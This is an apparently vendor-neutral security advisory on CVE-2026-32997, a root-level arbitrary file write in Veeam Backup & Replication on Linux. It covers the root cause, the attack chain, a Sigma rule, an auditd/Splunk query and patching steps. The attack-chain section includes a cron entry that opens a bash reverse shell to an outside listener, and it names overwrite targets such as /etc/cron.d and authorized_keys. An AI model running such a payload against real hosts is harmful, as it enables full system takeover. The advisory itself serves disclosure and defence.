Skip to content
Hermes Codex

CVE-2026-32997: Arbitrary File Write in Linux-based Veeam Backup & Replication

HERMES

HERMES THREAT SCORE & LINUX INFRASTRUCTURE RISK

Target: Veeam Backup & Replication Deployment and Transport Service (Linux Hosts)
Confidence: 96%
88 / 100
HIGH

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 18 / 20
Threat Activity 16 / 20
Weaponization 18 / 20
Exposure 16 / 20
Prevalence 18 / 20
Impact 20 / 20
Exploit Maturity 17 / 20
Attack Chain Potential 19 / 20
⚖️ Divergence & Operational Rationale

Hermes rates CVE-2026-32997 as High severity (HTS 88). Although exploitation requires the Backup Administrator role within the VBR console, it completely bypasses the underlying operating system boundary. On Linux-based hardened repositories and management appliances, a compromised application administrator can overwrite critical OS files to attain full root privileges, undermining hardware-enforced immutability guarantees.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-32997: Arbitrary File Write in Linux-based Veeam Backup & ReplicationVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTVeeam Backup & Replication
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Veeam Backup & Replication documented in Hermes dossier.”

Supporting Verified Evidence:

1. Metadata & Attack Surface

Section titled “1. Metadata & Attack Surface”
MetricTechnical SpecificationOperational Impact
CVE IdentifierCVE-2026-32997Standardized vulnerability identifier
Vendor / SoftwareVeeam Software / Backup & ReplicationEnterprise data protection platform
Affected Host OSLinux (Ubuntu, Debian, RHEL, Rocky Linux, SLES)VBR servers and transport proxies
Affected ReleasesVBR 13.x versions prior to 13.0.2Linux installations
Patched ReleaseVeeam Backup & Replication 13.0.2Official vendor patch
Associated CWECWE-36: Absolute Path TraversalFilesystem containment failure
Initial AccessBackup Administrator (Authenticated)VBR console or REST/gRPC API
Resulting Accessroot (Local Superuser)Complete host takeover

2. Technical Root Cause Analysis

Section titled “2. Technical Root Cause Analysis”

The flaw originates from flawed destination path handling within the Linux module synchronization utility (veeamsvc / VeeamDeploymentService).

CVE-2026-32997 Linux Host Exploitation Flow:


  ┌────────────────────────────────────────────────────────┐
  │ Compromised Backup Administrator                       │
  └───────────────────────────┬────────────────────────────┘
                              │ DeploymentService API Request
                              │ Payload: filePath = "/etc/cron.d/backdoor"
                              ▼
  ┌────────────────────────────────────────────────────────┐
  │ Veeam Linux Service (Executing as root UID 0)          │
  │   1. Receives binary payload and metadata path tag     │
  │   2. Omits Path.GetFileName() or chroot sandbox check  │
  │   3. Direct filesystem write: File.WriteAllBytes(path) │
  └───────────────────────────┬────────────────────────────┘
                              │ Arbitrary write to /etc/cron.d/
                              ▼
  ┌────────────────────────────────────────────────────────┐
  │ System cron Daemon                                     │
  │   • Evaluates scheduled job under root privileges      │
  │   • Dispatches interactive reverse shell to threat C2  │
  └────────────────────────────────────────────────────────┘

Absolute Path Traversal Mechanism

Section titled “Absolute Path Traversal Mechanism”

When the console triggers the upload of a support script or diagnostic binary, the Linux service receives:

  1. File metadata containing the suggested target path.
  2. The raw binary stream.

In versions prior to 13.0.2, the .NET runtime executing on Linux failed to enforce that the target path remained sandboxed within /opt/veeam/transport/ or /tmp/veeam/. An attacker supplying a direct absolute path (/etc/cron.d/veeam_job or /root/.ssh/authorized_keys) bypassed directory concatenation checks. Because the daemon runs with root privileges to manage storage mounts and network namespace bindings, the operating system executes the write operation without permission denial.

3. Attack Execution Chain

Section titled “3. Attack Execution Chain”

An adversary with administrative credentials on the VBR console can achieve host takeover in 3 phases:

  1. Cron Payload Staging:
    The attacker crafts a standard cron task payload:
    Terminal window
    * * * * * root /bin/bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
  2. Invoking Deployment API:
    Using an automated script targeting the VBR management port, the attacker transmits the file specifying /etc/cron.d/veeam_maintenance.
  3. Execution & Root Shell:
    Within 60 seconds, the Linux cron service parses the file and spawns an interactive root shell back to the listener.

4. Detection & Threat Hunting

Section titled “4. Detection & Threat Hunting”

Sigma Rule: Critical System File Creation by Veeam Linux Service

Section titled “Sigma Rule: Critical System File Creation by Veeam Linux Service”
title: Suspicious File Creation by Veeam Linux Service
id: cve-2026-32997-veeam-file-write
status: experimental
description: Detects creation of files outside standard Veeam directories by veeamsvc on Linux
references:
    - https://www.veeam.com/
logsource:
    category: file_event
    product: linux
detection:
    selection_process:
        Image|endswith:
            - '/veeamsvc'
            - '/VeeamDeploymentService'
    selection_target:
        TargetFilename|startswith:
            - '/etc/'
            - '/root/'
            - '/usr/bin/'
            - '/usr/sbin/'
            - '/var/spool/cron/'
    filter_legit:
        TargetFilename|startswith:
            - '/etc/veeam/'
            - '/opt/veeam/'
            - '/tmp/veeam/'
    condition: selection_process and selection_target and not filter_legit
falsepositives:
    - Official manual upgrade scripts executed outside package managers
level: critical

Threat Hunting Query (Auditd / Splunk)

Section titled “Threat Hunting Query (Auditd / Splunk)”
index=linux_audit (type="SYSCALL" OR type="PATH")
(comm="veeamsvc" OR comm="VeeamDeployment")
(name="/etc/cron*" OR name="/etc/ld.so*" OR name="/root/.ssh/*" OR name="/etc/sudoers*")
| table _time host comm auid uid name success

5. Remediation & Hardening

Section titled “5. Remediation & Hardening”
  1. Immediate Patching: Apply Veeam Backup & Replication 13.0.2 across all Linux management appliances and proxy nodes.
  2. Access Governance: Restrict the Backup Administrator role to dedicated jump hosts with multi-factor authentication.
  3. Host Hardening: Enforce AppArmor or SELinux policies prohibiting Veeam binaries from writing outside /opt/veeam/ and /tmp/veeam/.
  4. File Integrity Monitoring (FIM): Monitor /etc/cron* and /etc/systemd/system/ for unexpected write events using auditd or Wazuh.

6. References

Section titled “6. References”